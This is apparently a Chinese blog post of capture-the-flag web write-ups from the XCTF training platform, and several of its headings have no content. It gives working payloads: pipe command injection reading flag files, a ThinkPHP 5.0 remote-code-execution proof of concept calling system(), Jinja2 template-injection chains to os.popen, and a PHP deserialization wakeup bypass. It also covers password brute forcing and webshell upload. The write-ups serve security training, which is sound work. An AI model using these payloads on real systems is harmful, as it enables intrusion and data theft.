WP-攻防世界

攻防世界

新手练习区

一、view_source

 

 打开链接如上图所示,右键查看源代码失效,尝试F12查看,通过Elements发现flag,如下图所示。

 二、robots

点击题目所给链接,是一个空白界面,根据题目提示,查看robots.txt文件

 

 意思为允许所有用户访问f1ag_1s_h3re.php文件,尝试访问该文件获得flag

 

 三、backup

点击题目所给链接,如下图所示。

 

 尝试F12看看能否获得有效信息,查看后没有相关提示。此时,考虑使用工具扫描目录,使用dirmap进行目录扫描。

 

 依次访问三个目录,访问index.php.bak是下载了一个文件,打开文件发现flag

 

 四、cookie

点击题目所给链接,如下图所示:

 

根据提示,用burp抓包分析,包里面有提示去查看cookie.php

 

 访问cookie.php,如下图所示:

 

 根据提示去看response请求头,发现flag

 

 五、disabled_button

考察前端知识。访问题目所给链接,如下图所示:

 

 F12进入删除disabled,点击flag得到flag

 

 六、weak_auth

考察弱口令,使用burp爆破

点击题目所给链接

输入用户名admin密码admin抓包,发送到爆破

 

 加载常用密码字典进行爆破。

 

 爆破成功,看到flag

七、simple_php

=== 会同时比较字符串的值和类型

== 会先将字符串换成相同类型,再作比较,属于弱类型比较

点击题目所给链接

 

 根据代码提示,构造payload:?a=00&b=12345a,得到flag

 

 八、get post

 点击题目所给链接

 

 

 F12使用hackbar用get方式提交a=1

 

 

 再用post方式提交b=2

 

 

 九、xff_referer

打开页面提示

 

 

 用hackbar伪造X-Forwarded-For

 

 

 提交请求后页面显示如下;

 

 

  用hackbar伪造Referer

 

 

 

提交请求后得到flag

 

 

 十、webshell

打开题目链接

 

 

 根据题目提示,知道在index.php里面有webshell,密码为shell,直接用蚁剑尝试连接

 

 

 连接成功,发现flag.txt

 

 

 十一、command_execution

| 的作用为将前一个命令的结果传递给后一个命令作为输入

&&的作用是前一条命令执行成功时,才执行后一条命令

打开题目

 

 

 输127.0.0.1尝试,发现是一个ping命令,尝试使用|来进行命令拼接,构造payload,127.0.0.1| find / -name "flag.txt"

 

 

 用127.0.0.1| cat /home/flag.txt,得到flag

 

 十二、simple_js

 点击题目所给链接,在输入框输入密码后跳出错误提示

 

 这里是前端验证,无法爆破,右键查看源代码,发现不管输入什么密码都会报错,阅读代码发现关键代码

String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

 

 对数组进行ascii编码

 

 

 

 根据题目提示,形成完整的flag

 高手进阶区

一、baby web

 打开题目所给环境

 

 

结合题目给的提示,尝试访问index.php界面,发现重定向到1.php,F12打开发现在Network里面的Headers里面看到flag

二、Training-WWW-Robots

打开题目所给环境

根据提示去访问robots.txt

 

 

 直接访问/f10g.php得到flag:cyberpeace{0a0274284c093de228187777293cbc4a}

三、php rce

打开环境,发现是一个thinkphp5.0,网上直接搜相关的poc

http://111.200.241.244:61326/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"

 

 直接查看flag      http://111.200.241.244:61326/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

 

 

四、Web_php_include

 

五、ics-06

六、warmup

七、NewsCenter

八、NaNNaNNaNNaN-Batman

九、PHP2

十、unserialize3

十一、upload1

打开题目,是一个文件上传,并且前端验证如果不是图片的话是会弹窗提示

随便选择一张图片上传,抓包

 

 对包的内容进行修改,删除图片的内容,修改上传文件的后缀名

 

 直接使用蚁剑连接,发现flag

 十二、Web_python_template_injection

打开题目所给环境,结合题目提示知道这是一个ssti服务端模板注入

利用http://111.200.241.244:63560/{{1+1}},发现确实存在命令执行

 

 下面是payload用到的几个魔法函数

__class__:返回对象所属类

 

 __mro__:以元组返回继承链关系

 

 __subclasses__:以列表返回类的所有子类(查看object的子类)

 __init__:类的初始方法,用以初始化实例.实际上魔术方法__new__与__init__共同作为"构造函数",__new__先实例化类对象,而后__init__则用传入的参数来初始化实例.

__globals__(也可用func_globals):以字典返回内建模块

这个题目使用payload:''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('执行命令').read()即可

http://111.200.241.244:63560/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

 

 http://111.200.241.244:63560/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

 Web_php_unserialize

打开题目环境,读代码

 

 发现是一个反序列化的题目,if循环里面利用正则表达式过滤了o或c后面接:接数字,反序列化是需要绕过__wakeup函数

 1     <?php 
 2     class Demo { 
 3         private $file = 'fl4g.php';
 4     }
 5      
 6     $a= serialize(new demo);
 7     $a= str_replace('O:4', 'O:+4',$a);//绕过preg_match
 8     $a= str_replace(':1:', ':2:',$a);//绕过wakeup
 9     echo base64_encode($a);//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
10     ?>

在线或者本地运行上面代码即可得到paylaod,再去利用get方式提交即可得到flag

 

 ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

supersqli

BUUCTF上面有一样的题目

 

posted @ 2021-06-29 09:29  KEEP12  阅读(177)  评论(0编辑  收藏  举报